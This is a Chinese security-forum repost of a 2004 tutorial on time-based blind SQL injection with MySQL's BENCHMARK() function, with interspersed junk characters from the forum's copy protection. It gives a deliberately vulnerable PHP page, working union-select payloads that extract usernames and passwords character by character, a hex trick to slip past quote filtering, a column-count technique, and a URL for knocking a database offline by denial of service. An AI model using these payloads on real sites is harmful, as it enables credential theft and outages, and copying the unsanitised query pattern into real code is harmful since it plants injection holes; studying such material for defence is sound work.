找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2068|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
6 Z& B' N4 K& r" C本文作者:SuperHei
% H- ?, |6 C% s5 ]1 z4 x! _文章性质:原创* a: `0 V6 C3 U1 L4 P
发布日期:2005-01-02" B& ]' ?  g" v
完成日期:2004-07-09
& l$ Z8 a" x* K* f第一部
6 `- F: y: D' x9 u8 P$ z' l/ j8 H" k7 i9 x1 N$ m" U
利用时间推延进行注射---BENCHMARK函数在注射中的利用
1 N. \; ]4 B, T3 M" ?
5 R% H  G; {9 V# P一.前言/思路! [, c3 K. I2 Q; G
# o4 f$ N  x- J
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
/ v' S4 X4 E( y9 x6 z9 o* b1 Y: I$ O( ]* H. d
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
4 r- c. h/ ]- o3 M* [
( u# C( y2 i) n/ {1 r二.关于BENCHMARK函数
1 z& J* f# }0 y/ Z. p9 j% j; a" ?! v
  在MySQL参考手册里可以看到如下描叙:
9 ]+ ]% b7 v' ~. R- A% r- \& U8 e+ o" a/ L/ G7 C" j2 M% `1 x

! ]  Y) U8 I/ X3 |! X) I4 @, |--------------------------------------------------------------------------------
' O8 E4 K+ F- [' b* Z+ L! h" Q' m, n( X# Q" G3 v
BENCHMARK(count,expr) # V5 \. }8 S4 n
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 , V7 |4 E  \+ }
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 4 @2 Y6 i2 W0 q% E1 ^# H
+----------------------------------------------+ $ Z  D9 z6 L" w' h! l3 n5 U
| BENCHMARK(1000000,encode("hello","goodbye")) | & X$ j) \4 M) }6 {2 n1 f# Z1 R
+----------------------------------------------+
/ P( U) k( w! H# p, c4 q| 0 | $ {6 @! m# q0 _- P% ]% |
+----------------------------------------------+ ' T7 D% M; |8 ]8 y8 B  q! m
1 row in set (4.74 sec)
) [" s1 |* K9 ?& g2 U, K* f! [+ H4 R
5 ~9 W+ j1 n0 H报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。# r  @9 T7 C6 Y; S
- M+ _5 X5 D' p- U+ g2 H* I  Q, v- x
  e1 M+ l' l5 o# U7 ?
--------------------------------------------------------------------------------2 i% ~, N4 e# l* r$ V# S

/ ~/ C+ N4 r' ]  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
, e. i- ^$ ]9 l9 m. Q
0 Q% K! H6 h+ x& G" b) z# W8 u" A1 I, Rmysql> select md5( 'test' ); ' b- ^" {9 j: Y3 _# u
+----------------------------------+
# I- H$ }- E# @5 R+ c( \| md5( 'test' ) |
7 D; S/ h9 E) f( _3 o; o* i. Y+----------------------------------+
1 x' D8 n/ a/ r/ X| 098f6bcd4621d373cade4e832627b4f6 |
* z: k4 F7 W$ e2 [% F( Q+----------------------------------+ ! f8 p% X. l. Q& Q+ p* ?' e
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ( v7 d5 o6 q" Z+ ~- t/ z7 g
0 c& S- l: a* R+ V' j
mysql> select benchmark( 500000, md5( 'test' ) ); 4 M9 @" ?1 [. U' w; o: d1 _
+------------------------------------+ 8 Y' m, j+ K8 K3 n& }
| benchmark( 500000, md5( 'test' ) ) | ' q$ ^. {4 f" b5 N* H/ ~3 _8 L
+------------------------------------+
0 ~+ \2 b4 d; `+ ], U| 0 |
; Y) O# l+ C* V  H# N+------------------------------------+
2 ^3 J0 s! g3 }, e8 _- f1 row in set (6.55 sec) 〈------------执行时间为6.55 sec+ _& i9 Q3 B* D) B

+ U$ M5 Z' j" ~9 `7 ?0 c+ G5 ~& e4 r* w
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
6 F' l3 i$ j/ o# s' n+ i: x5 e+ q9 u. E  W* ?& M+ ~6 E) b
三.具体例子1 o9 F. d2 o( o8 M  H
" ]4 g4 ~6 R: A! b5 p5 _
  首先我们看个简单的php代码:
' P4 O7 f" n4 J# e% M* f
0 @& n& y8 B; E1 t/ R4 T- c< ?php
5 Q, n; J; m' X) L2 D1 \3 q7 W$servername = "localhost"; # b* q+ r- k! L0 ]9 [3 c& N3 U
$dbusername = "root"; 7 x/ R4 c5 `: ?3 {. a4 `$ K& N
$dbpassword = "";
/ [1 C# @0 I  U, p6 Y1 o9 i5 V$dbname = "injection"; 7 H  N; s, k4 @/ w

% f6 ]2 B( [& _- H: ~* u- e7 _. Ymysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
  @7 o) f: E) Z2 y' Y1 j
' s- K! Y& A; d; @9 E, O$sql = "SELECT * FROM article WHERE articleid=$id";
$ h+ Y2 m7 q/ X+ t" W$result = mysql_db_query($dbname,$sql); 0 D4 h  X( N7 @8 c) z9 W
$row = mysql_fetch_array($result); 1 _, y  C% |$ \+ M- G
3 V% ^8 U6 E9 I
if (!$row)
, z. X9 C- S0 X0 a* K" `! V" }* ^{
' e4 v! o) _) G7 X2 Iexit;
, K, }4 X  N/ g8 Q, C" o}
2 j* t/ L. S& J8 c?>9 X6 p; ^& U& n5 N, t0 G) v

! h2 y% M0 J6 E1 u4 }, c2 Y. V" N* ^( E; K  i7 M/ t
  数据库injection结构和内容如下:, X$ e- R/ |! [8 T) a

# X! \& d! `+ t. I  Y# 数据库 : `injection`
: I, S9 a3 l: S$ i# 2 P5 o; e9 e. \
/ @2 x# p/ t. R+ _
# -------------------------------------------------------- 1 O8 F1 t. }! r- k
) y% q" ^7 p# h$ t
# 2 x" O9 ]% n4 n: O
# 表的结构 `article` 5 Q! p% ]5 ?/ M4 P! l
#
3 B& h3 \$ Q% e( H+ j2 _2 Q* |2 Z( X
# t& P# a7 T3 L$ n- E* XCREATE TABLE `article` (
( _; j% Y* Q4 S* j8 c' k& C`articleid` int(11) NOT NULL auto_increment, / ]8 \; v% l9 {7 [
`title` varchar(100) NOT NULL default '', 6 w' c( o0 r& C. z+ o
`content` text NOT NULL,
3 {( {" P/ ]1 O$ kPRIMARY KEY (`articleid`) 2 x. }. a/ i9 |5 Z% |1 v
) TYPE=MyISAM AUTO_INCREMENT=3 ; ' B4 X8 Z8 o5 H# S$ N* G

- m: d& \/ K  K#
; N$ D# u& V- N& t7 _0 C! y# 导出表中的数据 `article` 8 M0 C9 B$ r  {2 _* R
# : }( g& Y' u" f6 o$ l1 a

( Q/ N: f7 R7 j, ^; B! rINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
$ D$ W0 }( c0 x  ZINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
) [0 n! f" X4 }
3 q. o+ q' m0 U9 M- [# --------------------------------------------------------
* [- h* C9 I1 }1 v% h, e5 h
( Y4 `, c# {$ w) R#
) J& }0 x" Q3 j5 h0 i! N# 表的结构 `user`
1 }- |" O8 |! H#
' T- T# \% a/ ^) c4 ~0 D: k4 ^" |1 D4 m
CREATE TABLE `user` ( 8 D7 T( f2 a3 h3 R. k( d
`userid` int(11) NOT NULL auto_increment, * {+ G# P9 h' d1 i6 ?2 I/ |
`username` varchar(20) NOT NULL default '', $ f8 p- C/ j0 L- r7 ~
`password` varchar(20) NOT NULL default '',
* g% ^! |9 E$ n. T) JPRIMARY KEY (`userid`)
* J& w7 `% ~# N: e" }$ i4 f) TYPE=MyISAM AUTO_INCREMENT=3 ;
2 j) l  B8 e: I! l
8 F+ y9 _' j0 M' ^  s#
+ Y0 V! O* j% Q2 I% A" t. b# 导出表中的数据 `user` 1 O# E2 P5 _, K, d8 W$ ~/ i; c
#
6 ?* ?; f: p0 z& l3 b1 u& \/ ]% k2 B; b% g' ]4 `* _( |2 A
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); % `; J, W, W: g3 C: Z1 F
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');9 d; f( }/ |, d

, x/ i' w( ~7 Q% O+ ^5 n, Y" x* q6 M
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:0 h, y( f, J. j/ ]: U# T2 E% `
3 n1 l# c2 ?' }( {
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
+ v) f: @1 x0 L % s1 S0 \0 y- l9 b; p" o6 \

2 \& W6 M: d1 R! q! g+ n  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
7 M* j6 ^5 @4 Y0 N/ W3 m% j& `5 w6 V2 d
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*7 i* d, U/ x/ Q% U# c

- F; |' ~/ M9 K+ k. j$ E& H! k% [! `  ?" B
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
5 w( X  K' I5 t# A. R& D0 ~/ |1 {+ G" b6 R
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ! [9 d, Y1 V$ k4 m* r

$ P. C6 g3 O( c5 Q# s* K. A$ R; _第二部& ]4 R7 c) ]7 p8 E2 P

$ Z% R2 g/ H) V- U0 f5 x7 g利用BENCHMARK函数进行ddos攻击   V6 g: A1 p4 k& n0 p: X
# q6 o" H& Z# P: F- w
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:/ d0 a( l' ?) w+ @6 x, A
- V) F+ m* S; l* `$ D
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41)): c: Z& C  A; d! L1 Y4 n+ ?- Y

' n9 n+ C/ F3 X. {- ?: Z( K) u- S$ X3 E( F: [. E
小结
' t6 o* u" M: {" _4 A# b
, n9 A% }# l( s" E7 _6 _  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。" c1 u" s# T: ?' V7 k; ?

# `. b5 m( ?$ _4 s  
" x# h0 l6 T! [5 n/ o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表